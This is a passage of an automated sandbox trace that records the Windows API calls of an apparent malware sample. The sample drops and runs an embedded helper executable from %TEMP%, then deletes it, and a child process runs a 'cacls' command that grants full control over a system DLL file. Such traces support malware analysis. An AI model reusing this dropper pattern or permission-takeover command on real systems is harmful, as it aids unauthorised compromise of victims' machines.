\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ5`\x99<äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0109.545] GetLastError () returned 0x0 [0109.545] SetLastError (dwErrCode=0x0) [0109.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.546] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0109.546] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0109.546] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0109.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ5`\x99<äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0109.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x597828 [0109.546] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0109.546] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0109.546] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x597828) returned 0x80 [0109.546] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0109.546] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0109.546] GetCurrentProcess () returned 0xffffffff [0109.546] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0109.546] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0109.547] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0109.547] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0109.547] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0109.547] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0109.547] LockResource (hResData=0x43c648) returned 0x43c648 [0109.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x599fc0 [0109.547] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0109.548] GetFileType (hFile=0x94) returned 0x1 [0109.548] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0109.553] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1000) returned 0x599fe8 [0109.553] WriteFile (in: hFile=0x94, lpBuffer=0x599fe8*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x599fe8*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0109.554] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599fe8 | out: hHeap=0x580000) returned 1 [0109.554] CloseHandle (hObject=0x94) returned 1 [0109.554] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" [0109.554] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xf04, dwThreadId=0xf08)) returned 1 [0109.580] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0114.774] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0114.776] CloseHandle (hObject=0x98) returned 1 [0114.776] CloseHandle (hObject=0x94) returned 1 [0114.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596df8 | out: hHeap=0x580000) returned 1 [0114.777] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0114.777] ExitProcess (uExitCode=0x0) [0114.778] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596170 | out: hHeap=0x580000) returned 1 Process: id = "204" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x758bd000" os_pid = "0xefc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "199" os_parent_pid = "0xecc" cmd_line = "cacls \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 793 os_tid = 0xf00 Process: id = "205" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x1943000" os_pid = "0xf04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "203" os_parent_pid = "0xef4" cmd_line = "bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 794 os_tid = 0xf08 [0109.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xe4fdf100, dwHighDateTime=0x1d5d06a)) [0109.958] GetCurrentThreadId () returned 0xf08 [0109.958] GetCurrentProcessId () returned 0xf04 [0109.958] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=25191939594) returned 1 [0109.968] GetProcessHeap () returned 0x270000 [0109.968] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0109.968] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0109.968] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0109.968] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0109.968] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0109.968] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0109.968] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0109.969] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0109.970] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0109.971] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x478) returned 0x28f0a0 [0109.971] GetCurrentThreadId () returned 0xf08 [0109.971] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x28) returned 0x285f20 [0109.971] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb00) returned 0x28f520 [0109.971] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x28f0a0)) [0109.971] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0109.971] GetFileType (hFile=0x3) returned 0x2 [0110.121] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0110.121] GetFileType (hFile=0x4) returned 0x3 [0110.121] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0110.121] GetFileType (hFile=0xb) returned 0x2 [0110.121] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner" [0110.121] GetEnvironmentStringsW () returned 0x290030* [0110.121] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0xb5a) returned 0x290ba0 [0110.122] FreeEnvironmentStringsW (penv=0x290030) returned 1 [0110.122] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0xb0) returned 0x291710 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x138) returned 0x2917d0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3e) returned 0x286300 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x6c) returned 0x291910 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x62) returned 0x291990 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x78) returned 0x291a00 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x62) returned 0x291a80 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x28de10 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x286350 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4c) returned 0x291af0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x28) returned 0x285f50 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x285f80 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4a) returned 0x291b50 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x72) returned 0x291bb0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x28de50 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x28de90 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1c) returned 0x285fb0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xd2) returned 0x291c30 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x7c) returned 0x291d10 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3a) returned 0x2863a0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x90) returned 0x291da0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x285fe0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x28ded0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x28df10 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x2863f0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x52) returned 0x291e40 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x286440 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x18) returned 0x291ea0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x82) returned 0x291ec0 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x28df50 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1e) returned 0x286010 [0110.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2c) returned 0x28df90 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x291f50 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x52) returned 0x290030 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x28dfd0 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3c) returned 0x286490 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x290090 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x286040 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x28e010 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x8c) returned 0x2900f0 [0110.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x290ba0 | out: hHeap=0x270000) returned 1 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1000) returned 0x290190 [0110.123] GetLastError () returned 0x0 [0110.123] SetLastError (dwErrCode=0x0) [0110.123] GetLastError () returned 0x0 [0110.123] SetLastError (dwErrCode=0x0) [0110.123] GetLastError () returned 0x0 [0110.123] SetLastError (dwErrCode=0x0) [0110.123] GetACP () returned 0x4e4 [0110.123] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x228) returned 0x2911a0 [0110.123] GetLastError () returned 0x0 [0110.123] SetLastError (dwErrCode=0x0) [0110.123] IsValidCodePage (CodePage=0x4e4) returned 1 [0110.123] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0110.124] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0110.124] GetLastError () returned 0x0 [0110.124] SetLastError (dwErrCode=0x0) [0110.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0110.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ螖㥳깥") returned 256 [0110.124] GetStringTypeW (in: 